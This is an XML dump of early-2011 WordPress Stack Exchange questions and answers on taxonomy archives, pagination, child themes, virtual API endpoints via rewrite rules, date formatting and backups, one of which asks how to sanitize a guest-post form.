  <row Id="9858" PostTypeId="1" CreationDate="2011-02-19T22:46:53.240" Score="0" ViewCount="73" Body="&lt;p&gt;I'd like to have a separate blogroll archive whereby I can display them more or less in the same manner as posts/post types. IE: an archive which can be paginated and also with links to the separate categories to filter.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How to create an archive which can be paginated and: what are the url's of my blogroll categories?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Kind regards&lt;/p&gt;&#xA;" OwnerUserId="3323" LastActivityDate="2011-08-02T17:36:58.747" Title="Possible to create a paginated blogroll archive?" Tags="&lt;pagination&gt;&lt;archive&gt;&lt;blogroll&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="9859" PostTypeId="1" CreationDate="2011-02-19T23:07:33.493" Score="1" ViewCount="281" Body="&lt;p&gt;I've created archive pages for all my taxonomies (taxonomie-{taxonomy-name}.php) and this works fine. The slug of my taxonomies are the same as the slug of it's post-type. This makes it possible to create neat hierarchy in the url, ie:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;when post-type 'products' has 'type' as a taxonomy with the values book, cd and dvd. post-type1 has the slug 'product' and taxonomy1 has the same slug: 'product'.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This way I can list the taxonomie-archives in the following way:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;products/book&#xA;products/cd&#xA;products/dvd&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and this works great. However: the pagination works on the products archives but on the products/{type} archive it gives a 404. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any clue?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Code of the taxonomy template is as follows:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;  &amp;lt;?php get_header(); ?&amp;gt;&#xA;  &amp;lt;section id=&quot;inhoud&quot; class=&quot;hfeed&quot;&amp;gt;&#xA;    &amp;lt;nav class=&quot;navigatiebalk&quot;&amp;gt;&#xA;      &amp;lt;ul class=&quot;pagina-navigatie&quot;&amp;gt;&#xA;        &amp;lt;li class=&quot;volgende-pagina&quot;&amp;gt;&amp;lt;?php previous_posts_link(''); ?&amp;gt;&amp;lt;/li&amp;gt;&#xA;        &amp;lt;li class=&quot;vorige-pagina&quot;&amp;gt;&amp;lt;?php next_posts_link(''); ?&amp;gt;&amp;lt;/li&amp;gt;&#xA;      &amp;lt;/ul&amp;gt;&#xA;    &amp;lt;/nav&amp;gt;&#xA;&#xA;    &amp;lt;?php while ( have_posts() ) : the_post(); ?&amp;gt;&#xA;    &amp;lt;?php&#xA;    $post_type = get_post_type( get_the_ID() );&#xA;    ?&amp;gt;&#xA;        &amp;lt;article class=&quot;hentry publicaties artikel &amp;lt;?php echo $post_type ?&amp;gt;&quot;&amp;gt;&#xA;            &amp;lt;header class=&quot;artikel-hoofd&quot;&amp;gt;&#xA;            &amp;lt;?php the_title( '&amp;lt;h1 class=&quot;titel&quot;&amp;gt;&amp;lt;span class=&quot;datum date&quot;&amp;gt;' . the_date('d.m.y', '', '', false) . '&amp;lt;/span&amp;gt;&amp;lt;a href=&quot;' . get_permalink() . '&quot; title=&quot;' . the_title_attribute( 'echo=0' ) . '&quot; rel=&quot;bookmark&quot;&amp;gt;', '&amp;lt;/a&amp;gt;&amp;lt;/h1&amp;gt;' ); ?&amp;gt;&#xA;            &amp;lt;figure class=&quot;icoontje&quot;&amp;gt;&amp;lt;/figure&amp;gt;&#xA;            &amp;lt;/header&amp;gt;&#xA;&#xA;            &amp;lt;section class=&quot;inleiding&quot;&amp;gt;&#xA;                &amp;lt;figure class=&quot;bericht-icoon&quot;&amp;gt;&amp;lt;?php $large_image_url = wp_get_attachment_image_src( get_post_thumbnail_id(), 'large'); echo '&amp;lt;a href=&quot;' . $large_image_url[0] . '&quot; class=&quot;thumbnail-link colorbox&quot; rel=&quot;lightbox&quot; title=&quot;' . the_title_attribute('echo=0') . '&quot; &amp;gt;'; the_post_thumbnail('thumbnail', array('class' =&amp;gt; 'artikel-thumbnail')); ?&amp;gt;&amp;lt;/a&amp;gt;&#xA;                &amp;lt;/figure&amp;gt;&#xA;                &amp;lt;span&amp;gt;&amp;lt;?php $this_excerpt = get_the_excerpt(); echo $this_excerpt; ?&amp;gt;...&amp;amp;nbsp;&amp;lt;a href=&quot;&amp;lt;?php the_permalink(); ?&amp;gt;&quot; class=&quot;lees-verder&quot;&amp;gt;Lees en luister&amp;lt;/a&amp;gt;&#xA;                &amp;lt;/span&amp;gt;&#xA;            &amp;lt;/section&amp;gt;&#xA;        &amp;lt;/article&amp;gt;&#xA;    &amp;lt;?php endwhile; ?&amp;gt;&#xA;    &amp;lt;nav class=&quot;navigatiebalk&quot;&amp;gt;&#xA;      &amp;lt;ul class=&quot;pagina-navigatie&quot;&amp;gt;&#xA;        &amp;lt;li class=&quot;volgende-pagina&quot;&amp;gt;&amp;lt;?php previous_posts_link(''); ?&amp;gt;&amp;lt;/li&amp;gt;&#xA;        &amp;lt;li class=&quot;vorige-pagina&quot;&amp;gt;&amp;lt;?php next_posts_link(''); ?&amp;gt;&amp;lt;/li&amp;gt;&#xA;      &amp;lt;/ul&amp;gt;&#xA;    &amp;lt;/nav&amp;gt;&#xA;  &amp;lt;/section&amp;gt;&#xA;  &amp;lt;?php get_footer(); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3323" LastEditorUserId="3323" LastEditorDisplayName="" LastEditDate="2011-02-20T10:28:14.187" LastActivityDate="2011-02-21T10:38:28.233" Title="Pagination on taxonomy archive pages breaks" Tags="&lt;taxonomy&gt;&lt;pagination&gt;&lt;archive&gt;" AnswerCount="2" CommentCount="2" />
  <row Id="9860" PostTypeId="2" ParentId="7367" CreationDate="2011-02-20T01:04:11.757" Score="0" ViewCount="" Body="&lt;p&gt;Are you aware of that Autofocus is based on Thematic? Thematic injects a lot more css classes. I'm not sure if Autofocus just cogs up completely without Thematic or if it just does everything it can do without. So check if you go Thematic installed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To do a proper job, though, you'll have to really dig into how Autofocus processes stuff in it's functions.php...like not just copy-paste, but understand what it's doing when.&lt;/p&gt;&#xA;" OwnerUserId="3104" LastActivityDate="2011-02-20T01:04:11.757" />
  <row Id="9861" PostTypeId="1" CreationDate="2011-02-20T01:52:23.667" Score="1" ViewCount="126" Body="&lt;p&gt;I created a blog with the twenty ten theme. I understand there are issues with upgrading WP with this default theme. It overwrites what you did. Is there a way to fix this with starting over. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;How would I change something like this?&#xA;Ex.  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php else : ?&amp;gt;&#xA;        &amp;lt;div id=&quot;post-&amp;lt;?php the_ID(); ?&amp;gt;&quot; &amp;lt;?php post_class(); ?&amp;gt;&amp;gt;&#xA;            &amp;lt;h2 class=&quot;entry-title&quot;&amp;gt;&amp;lt;a href=&quot;&amp;lt;?php the_permalink(); ?&amp;gt;&quot; title=&quot;&amp;lt;?php printf( esc_attr__( 'Permalink to %s', 'twentyten' ), the_title_attribute( 'echo=0' ) ); ?&amp;gt;&quot; rel=&quot;bookmark&quot;&amp;gt;&amp;lt;?php the_title(); ?&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/h2&amp;gt;&#xA;&#xA;        &amp;lt;div class=&quot;entry-meta&quot;&amp;gt;&#xA;            &amp;lt;?php twentyten_posted_on(); ?&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&amp;lt;!-- .entry-meta --&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2266" LastEditorUserId="178" LastEditorDisplayName="" LastEditDate="2011-03-25T21:05:17.353" LastActivityDate="2011-03-25T21:05:17.353" Title="How do I remove twentyten without ruining what I did?" Tags="&lt;theme-development&gt;&lt;themes&gt;&lt;theme-twenty-ten&gt;" AnswerCount="1" />
  <row Id="9862" PostTypeId="2" ParentId="9861" CreationDate="2011-02-20T01:57:07.953" Score="5" ViewCount="" Body="&lt;p&gt;Twenty Ten modifications will be overwritten with upgrades so you should be using a &lt;a href=&quot;http://codex.wordpress.org/Child_Themes&quot; rel=&quot;nofollow&quot;&gt;Child Theme&lt;/a&gt; of Twenty Ten instead of modifying it directly. There really is no way to stop the upgrade/overwrite without renaming the theme and putting it in a different folder with a different name.&lt;/p&gt;&#xA;" OwnerUserId="141" LastActivityDate="2011-02-20T01:57:07.953" CommentCount="3" />
  <row Id="9863" PostTypeId="1" CreationDate="2011-02-20T02:35:39.790" Score="1" ViewCount="141" Body="&lt;pre&gt;&lt;code&gt;&amp;lt;form id=&quot;tellastory&quot; method=&quot;post&quot; action=&quot;&quot;&amp;gt;&#xA;    &amp;lt;label for=&quot;fullname&quot;&amp;gt;Full Name &amp;lt;/label&amp;gt;&#xA;    &amp;lt;input id=&quot;fullname&quot; name=&quot;fullname&quot; type=&quot;text&quot; maxlength=&quot;255&quot; value=&quot;&quot;/&amp;gt; &#xA;    &amp;lt;label for=&quot;title&quot;&amp;gt;Title &amp;lt;/label&amp;gt;&#xA;    &amp;lt;input id=&quot;title&quot; name=&quot;title&quot; type=&quot;text&quot; maxlength=&quot;255&quot; value=&quot;&quot;/&amp;gt;&#xA;    &amp;lt;label for=&quot;title&quot;&amp;gt;Message &amp;lt;/label&amp;gt;&#xA;    &amp;lt;textarea id=&quot;editor&quot; name=&quot;editor&quot; rows=&quot;20&quot; cols=&quot;50&quot;&amp;gt;&amp;lt;/textarea&amp;gt;&#xA;    &amp;lt;input type=&quot;hidden&quot; name=&quot;form_id&quot; value=&quot;123456&quot; /&amp;gt;       &#xA;    &amp;lt;input id=&quot;saveForm&quot; type=&quot;submit&quot; name=&quot;submit&quot; value=&quot;submit&quot; /&amp;gt;&#xA;&amp;lt;/form&amp;gt;&#xA;&amp;lt;?php&#xA;$storyteller_user_id = &quot;3&quot;;  //your guest user id here&#xA;//$stories_category = &quot;3&quot;;  //your stories category id here&#xA;$key = &quot;storyteller&quot;;&#xA;&#xA;if ($_POST['form_id']==&quot;123456&quot;) {&#xA;    $my_post = array(); &#xA;    $my_post['post_title'] =$_POST['title'];&#xA;    $my_post['post_content'] = $_POST['editor'];&#xA;    $my_post['post_status'] = 'publish';&#xA;    $my_post['post_author'] = $storyteller_user_id;&#xA;    $my_post['post_category'] = array($stories_category);&#xA;    $post_Num = wp_insert_post( $my_post );&#xA;    add_post_meta($post_Num, $key, $_POST['fullname']);&#xA;}&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3327" LastEditorUserId="2110" LastEditorDisplayName="" LastEditDate="2011-02-20T11:16:47.693" LastActivityDate="2011-02-20T11:16:47.693" Title="How Could I sanitize the receive data from this code" Tags="&lt;security&gt;&lt;forms&gt;&lt;escaping&gt;&lt;sanitization&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="1" />
  <row Id="9864" PostTypeId="2" ParentId="7367" CreationDate="2011-02-20T03:12:04.067" Score="1" ViewCount="" Body="&lt;p&gt;I think if you just copy-paste the functions and styles, you're still missing a lot of code in the actual templates (those PHP files). Like others said, you might be missing classes... you might also be missing entire DIVs and other stuff, too, though.&lt;/p&gt;&#xA;" LastActivityDate="2011-02-20T03:12:04.067" />
  <row Id="9865" PostTypeId="1" CreationDate="2011-02-20T03:38:32.010" Score="1" ViewCount="102" Body="&lt;p&gt;How can I create a homepage like Wordpress.com. I am currently using wordpress MS and would like to display the latest posts across the network on the homepage. How is this possible?&lt;/p&gt;&#xA;" OwnerUserId="2178" LastActivityDate="2011-04-21T16:41:10.077" Title="Create a homepage like Wordpress.com?" Tags="&lt;network&gt;" AnswerCount="1" FavoriteCount="1" />
  <row Id="9866" PostTypeId="1" AcceptedAnswerId="9873" CreationDate="2011-02-20T03:54:17.087" Score="0" ViewCount="107" Body="&lt;p&gt;I see that theres no way to get a formatted date from a function like&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;echo get_the_date($post-&amp;gt;ID, 'd M Y');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;get_the_date&lt;/code&gt; only works with the current &lt;code&gt;$post&lt;/code&gt;. If I used &lt;code&gt;get_posts()&lt;/code&gt; how can I format the date. With pure PHP I can do something like ... &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;echo DateTime::createFromFormat('Y-m-d h:i:s', $cp-&amp;gt;post_date)-&amp;gt;format('d M Y');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;but its abit long, and I don't know if there's a need to actually create a &lt;code&gt;DateTime&lt;/code&gt; object, perhaps its a waste of resources?&lt;/p&gt;&#xA;" OwnerUserId="794" LastActivityDate="2011-02-20T05:34:52.157" Title="Whats the way to format a date after using get_posts()" Tags="&lt;date-time&gt;&lt;get-posts&gt;" AnswerCount="1" />
  <row Id="9867" PostTypeId="1" AcceptedAnswerId="9879" CreationDate="2011-02-20T04:01:47.047" Score="0" ViewCount="277" Body="&lt;p&gt;When I create a custom taxonomy, what template file is being used to display the page? How might I create a custom listing page for my custom taxonomy. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;eg. I have a custom taxonomy skills. In it are values like: PHP, MySQL, HTML/CSS/JS ...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When users goto say &lt;code&gt;/skills/php&lt;/code&gt; they will see all posts containing PHP in skills. What template is used by default for this page and how might I create a custom page template for this? &lt;/p&gt;&#xA;" OwnerUserId="794" LastActivityDate="2011-02-20T06:47:48.830" Title="What template is used for a custom taxonomy page?" Tags="&lt;custom-taxonomy&gt;&lt;page-template&gt;" AnswerCount="1" />
  <row Id="9868" PostTypeId="2" ParentId="9818" CreationDate="2011-02-20T04:04:17.917" Score="1" ViewCount="" Body="&lt;p&gt;After removing the .DS_Store file from the images/headers folder, the Header admin panel is displaying the header image thumbnails perfectly!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And yes, it is important to remove .DS_Store files before migrating the site to live server, or they will hitch a free ride and end up on the server.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So Mac users, pay attention. To remove .DS_Store from any folder, open Terminal and navigate to the folder.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;cd path/folder/  (example: cd Documents/ followed by cd Websites/ followed by successive folders all the way to the child theme's 'images/headers' folder)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;ls -al (displays all files, including . and .. and .DS_Store)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;find ./ -name &quot;.DS_Store&quot; -depth -exec rm {} \; (removes .DS_Store from this directory and all subdirectories)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now the code from David Cox over at Digital Raindrops is working beautifully - allows for locating header images in the child theme's folder, where they will not be vulnerable to overwrite - AND - also generates the display dynamically - no need to manually add to array every image you create; simply create header images and thumbnails and save to the folder designated in the code. :)&lt;/p&gt;&#xA;" OwnerUserId="3010" LastActivityDate="2011-02-20T04:04:17.917" />
  <row Id="9869" PostTypeId="1" AcceptedAnswerId="9875" CreationDate="2011-02-20T04:04:22.480" Score="2" ViewCount="77" Body="&lt;p&gt;I'm calling the function below after each &quot;save changes&quot; on my plugin's settings file via the sanitization callback.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The plugin allows the end user to change their category base, and needs to completely rewrite the permalinks in order to avoid 404 errors. However, I'm still getting 404s. The only way I can resolve them is to go to the &quot;Settings &gt; Permalinks&quot; manager and clicking &quot;Save Changes&quot;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What am I missing in this function to get rid of the 404s?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function myplugin_refresh() {&#xA;    wp_cache_flush();&#xA;    global $wp_rewrite;&#xA;    $my_permalinks = get_option('permalink_structure');&#xA;    $wp_rewrite-&amp;gt;set_permalink_structure($my_permalinks);&#xA;    $wp_rewrite-&amp;gt;flush_rules();&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="366" LastActivityDate="2011-07-12T03:15:00.697" Title="404 errors after plugin options update and category base change" Tags="&lt;plugin-development&gt;&lt;plugin-custom-permalinks&gt;" AnswerCount="2" />
  <row Id="9870" PostTypeId="1" AcceptedAnswerId="9959" CreationDate="2011-02-20T04:05:46.177" Score="3" ViewCount="628" Body="&lt;p&gt;I'm trying to create a custom API endpoint in WordPress, and I need to redirect requests to a virtual page in the root of WordPress to an actual page that ships with my plug-in.  So basically, all requests to the one page are actually routed to the other.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example:&lt;br&gt;&#xA;&lt;code&gt;http://mysite.com/my-api.php&lt;/code&gt; =&gt; &lt;code&gt;http://mysite.com/wp-content/plugins/my-plugin/my-api.php&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The point of this is to make the url for the API endpoint as short as possible (similar to &lt;code&gt;http://mysite.com/xmlrpc.php&lt;/code&gt; but to ship the actual API endpoint file with the plug-in rather than requiring the user to move files around in their installation and/or hack core.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My first stab was to add a custom rewrite rule.  However, this had two problems.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;The endpoint always had a trailing slash.  It became &lt;code&gt;http://mysite.com/my-api.php/&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;My rewrite rule was only ever partially applied.  It wouldn't redirect to &lt;code&gt;wp-content/plugins...&lt;/code&gt;, it would redirect to &lt;code&gt;index.php&amp;amp;wp-content/plugins...&lt;/code&gt;.  This lead to WordPress displaying either a page not found error or just defaulting to the homepage.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Ideas?  Suggestions?&lt;/p&gt;&#xA;" OwnerUserId="46" LastEditorUserId="46" LastEditorDisplayName="" LastEditDate="2011-02-20T04:32:25.290" LastActivityDate="2011-04-08T22:22:31.807" Title="How do you create a &quot;virtual&quot; page in WordPress" Tags="&lt;url-rewriting&gt;&lt;api&gt;&lt;rewrite-rules&gt;" AnswerCount="6" FavoriteCount="5" />
  <row Id="9871" PostTypeId="2" ParentId="9870" CreationDate="2011-02-20T04:49:28.553" Score="2" ViewCount="" Body="&lt;p&gt;Any reason not to do something like this instead?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://mysite.com/?my-api=1&quot; rel=&quot;nofollow&quot;&gt;http://mysite.com/?my-api=1&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then just hook your plugin into 'init' and check for that get variable. If it exists, do what your plugin needs to do and die()&lt;/p&gt;&#xA;" OwnerUserId="3329" LastActivityDate="2011-02-20T04:49:28.553" CommentCount="2" />
  <row Id="9872" PostTypeId="2" ParentId="9870" CreationDate="2011-02-20T05:26:48.033" Score="0" ViewCount="" Body="&lt;p&gt;I haven't dealt with rewrite that much, yet, so this is probably a little rough, but it seems to work:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function api_rewrite($wp_rewrite) {&#xA;    $wp_rewrite-&amp;gt;non_wp_rules['my-api\.php'] = 'wp-content/plugins/my-plugin/my-api.php';&#xA;    file_put_contents(ABSPATH.'.htaccess', $wp_rewrite-&amp;gt;mod_rewrite_rules() );&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It works if you hook this into 'generate_rewrite_rules', but there must be a better way, as you don't want to rewrite .htaccess on each page load.&lt;br&gt;&#xA;Seems like i can't stop editing my own posts...it should probably rather go into you activate callback and reference global $wp_rewrite instead. And then remove the entry from non_wp_rules and output to .htaccess again in you deactivate callback.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And finally, the writing to .htaccess should be a bit more sophisticated, you want to only replace the wordpress section in there.&lt;/p&gt;&#xA;" OwnerUserId="3104" LastActivityDate="2011-02-20T05:26:48.033" />
  <row Id="9873" PostTypeId="2" ParentId="9866" CreationDate="2011-02-20T05:34:52.157" Score="3" ViewCount="" Body="&lt;p&gt;&lt;code&gt;echo date('Y-m-d h:i:s', strtotime($cp-&amp;gt;post_date));&lt;/code&gt; ... or better use the wordpress functionado &lt;code&gt;echo mysql2date('Y-m-d h:i:s', $cp-&amp;gt;post_date);&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="3104" LastActivityDate="2011-02-20T05:34:52.157" CommentCount="1" />
  <row Id="9874" PostTypeId="1" CreationDate="2011-02-20T05:39:12.747" Score="1" ViewCount="39" Body="&lt;p&gt;What is the best way to back up my data before I update to the newest version. And is it important I update? &lt;/p&gt;&#xA;" LastEditorUserId="847" LastEditorDisplayName="" LastEditDate="2011-02-20T11:27:29.437" LastActivityDate="2011-02-20T11:27:29.437" Title="Updating to new 3.0.5" Tags="&lt;backup&gt;&lt;update&gt;" AnswerCount="1" />
  <row Id="9875" PostTypeId="2" ParentId="9869" CreationDate="2011-02-20T05:42:58.640" Score="0" ViewCount="" Body="&lt;p&gt;Check the code in wp-admin/options-permalink.php lines 91 to 129 (3.0.5). Compare if you do all that.&lt;/p&gt;&#xA;" OwnerUserId="3104" LastActivityDate="2011-02-20T05:42:58.640" CommentCount="3" />
  <row Id="9876" PostTypeId="2" ParentId="9874" CreationDate="2011-02-20T05:53:39.560" Score="4" ViewCount="" Body="&lt;p&gt;Updating is always important. They contain security fixes and other bug fixes. Generally update within the 3.0x considered safe. Moving between 3.x could require some changes and updates to your theme or plugins. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I like to take the mantra, better safe than sorry. I would back up your database and anything your wp-content folder (plugins, uploads and themes). Armed with these two pieces you should be able to re-install if something bad happens.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are plugins to help with the Backups and DB Backups. A couple I've heard mentioned are &lt;a href=&quot;http://lesterchan.net/portfolio/programming/php/#wp-dbmanager&quot; rel=&quot;nofollow&quot;&gt;WP-DBManager&lt;/a&gt; and a hosted solution called &lt;a href=&quot;http://vaultpress.com/&quot; rel=&quot;nofollow&quot;&gt;Vault Press&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="105" LastActivityDate="2011-02-20T05:53:39.560" />
  <row Id="9877" PostTypeId="2" ParentId="9870" CreationDate="2011-02-20T06:00:23.833" Score="4" ViewCount="" Body="&lt;p&gt;This worked for me. I never ever touch the rewrite API, but am always up to push myself in new directions. The following worked on my test server for 3.0 located in a sub folder of localhost. I don't for see any issue if WordPress is installed in web root.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just drop this code in a plugin and upload the file named &quot;taco-kittens.php&quot; directly in the plugin folder. You will need write a hard flush for your permalinks. I think they say the best time to do this is on plugin activation.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function taco_kitten_rewrite() {&#xA;    $url = str_replace( trailingslashit( site_url() ), '', plugins_url( '/taco-kittens.php', __FILE__ ) );&#xA;    add_rewrite_rule( 'taco-kittens\\.php$', $url, 'top' );&#xA;}&#xA;add_action( 'wp_loaded', 'taco_kitten_rewrite' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Best wishes,&#xA;-Mike&lt;/p&gt;&#xA;" OwnerUserId="1367" LastActivityDate="2011-02-20T06:00:23.833" />
  <row Id="9878" PostTypeId="1" AcceptedAnswerId="9900" CreationDate="2011-02-20T06:46:03.943" Score="0" ViewCount="128" Body="&lt;p&gt;I'm currently using the following bit of code to display related posts on my single template.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    &amp;lt;?php&#xA;        $orig_post = $post;&#xA;        global $post;&#xA;        $tags = wp_get_post_tags($post-&amp;gt;ID);&#xA;&#xA;        if ($tags) {&#xA;            $tag_ids = array();&#xA;            foreach($tags as $individual_tag) $tag_ids[] = $individual_tag-&amp;gt;term_id;&#xA;            $args=array(&#xA;                'tag__in' =&amp;gt; $tag_ids,&#xA;                'post__not_in' =&amp;gt; array($post-&amp;gt;ID),&#xA;                'posts_per_page'=&amp;gt;5, // Number of related videos that will be shown.&#xA;                'caller_get_posts'=&amp;gt;1&#xA;            );&#xA;&#xA;            $my_query = new wp_query( $args );&#xA;            if( $my_query-&amp;gt;have_posts() ) {&#xA;                echo '&amp;lt;section id=&quot;related-videos&quot;&amp;gt;&amp;lt;h3&amp;gt;&amp;lt;span&amp;gt;Related Videos&amp;lt;/span&amp;gt;&amp;lt;/h3&amp;gt;&amp;lt;ul&amp;gt;';&#xA;&#xA;                while( $my_query-&amp;gt;have_posts() ) {&#xA;                $my_query-&amp;gt;the_post(); ?&amp;gt;&#xA;&#xA;                &amp;lt;li&amp;gt;&#xA;                    &amp;lt;a class=&quot;related-thumb&quot; href=&quot;&amp;lt;? the_permalink()?&amp;gt;&quot; rel=&quot;bookmark&quot; title=&quot;&amp;lt;?php the_title(); ?&amp;gt;&quot;&amp;gt;&amp;lt;?php the_post_thumbnail('related-thumb'); ?&amp;gt;&amp;lt;/a&amp;gt;&#xA;                    &amp;lt;section class=&quot;related-content&quot;&amp;gt;&#xA;                        &amp;lt;a href=&quot;&amp;lt;? the_permalink()?&amp;gt;&quot; rel=&quot;bookmark&quot; title=&quot;&amp;lt;?php the_title(); ?&amp;gt;&quot;&amp;gt;&amp;lt;?php the_title(); ?&amp;gt;&amp;lt;/a&amp;gt;&#xA;                    &amp;lt;/section&amp;gt;&#xA;                &amp;lt;/li&amp;gt;&#xA;&#xA;                &amp;lt;? }&#xA;&#xA;                echo '&amp;lt;/ul&amp;gt;&amp;lt;/section&amp;gt;';&#xA;            }&#xA;        }&#xA;&#xA;        $post = $orig_post;&#xA;        wp_reset_query();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'm wondering if there is a way I can pull tags from only a certain post type. Maybe adding something like &lt;code&gt;'post_type=videos'&lt;/code&gt; somewhere? Not sure where, though. Can someone help me out? Thank you.&lt;/p&gt;&#xA;" OwnerUserId="3239" LastActivityDate="2011-02-20T19:38:53.793" Title="related posts - pulling tags from a specific post type" Tags="&lt;custom-post-types&gt;" AnswerCount="3" CommentCount="2" />
  <row Id="9879" PostTypeId="2" ParentId="9867" CreationDate="2011-02-20T06:47:48.830" Score="4" ViewCount="" Body="&lt;p&gt;It really depends on your theme. Term archive views are governed by the rules of &lt;a href=&quot;http://codex.wordpress.org/Template_Hierarchy&quot; rel=&quot;nofollow&quot;&gt;template hierarchy&lt;/a&gt; which means that more than one template may display these archives. For your project, I would suggest that you create a new template file called &quot;taxonomy-skills.php&quot;. This file will get use only for archives of skills enabling you to create a design that differs from other term archive pages.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You do not need to start from scratch. It often saves time to copy the contents of another file and adjust the code to your needs. I would first look for taxonomy.php. If it exists in your theme, copy and paste it's contents into &quot;taxonomy-skills.php&quot;. If this file does not exist, try to locate the following files in the order specified: category.php, archive.php, index.php.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Best,&#xA;-Mike&lt;/p&gt;&#xA;" OwnerUserId="1367" LastActivityDate="2011-02-20T06:47:48.830" CommentCount="2" />
  <row Id="9880" PostTypeId="2" ParentId="9859" CreationDate="2011-02-20T06:54:56.873" Score="0" ViewCount="" Body="&lt;p&gt;If I am understanding you correctly, then you have a taxonomy named &quot;type&quot; defined on your site. This will break all sorts of things. &quot;Type&quot; is one of the &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/register_taxonomy#Reserved_Terms&quot; rel=&quot;nofollow&quot;&gt;reserved terms&lt;/a&gt; and should not be used for taxonomies.&lt;/p&gt;&#xA;" OwnerUserId="1367" LastActivityDate="2011-02-20T06:54:56.873" CommentCount="1" />
  <row Id="9881" PostTypeId="2" ParentId="9857" CreationDate="2011-02-20T07:43:18.003" Score="0" ViewCount="" Body="&lt;p&gt;If anyone else is interested, this is how I solved it:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I created a custom feed as a page template. As RSS 2.0 doesn't support images for each entry/item, I created an &lt;strong&gt;Atom feed&lt;/strong&gt; instead; all that contains is the image and the text as I have it formatted in my question above. Then I use the facebook app &lt;strong&gt;RSS Graffiti&lt;/strong&gt; to automatically import it, final result:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/L0Lf7.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The benefit is that the feed can be used elsewhere too.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Alternate Solution&lt;/strong&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I wanted to use FB-Connect, I think a workaround could be done in the form of hiding the description from the post type, and then populating the description field. This way, image &amp;amp; text could still be passed through to FB.&lt;/p&gt;&#xA;" OwnerUserId="2393" LastActivityDate="2011-02-20T07:43:18.003" CommentCount="2" />
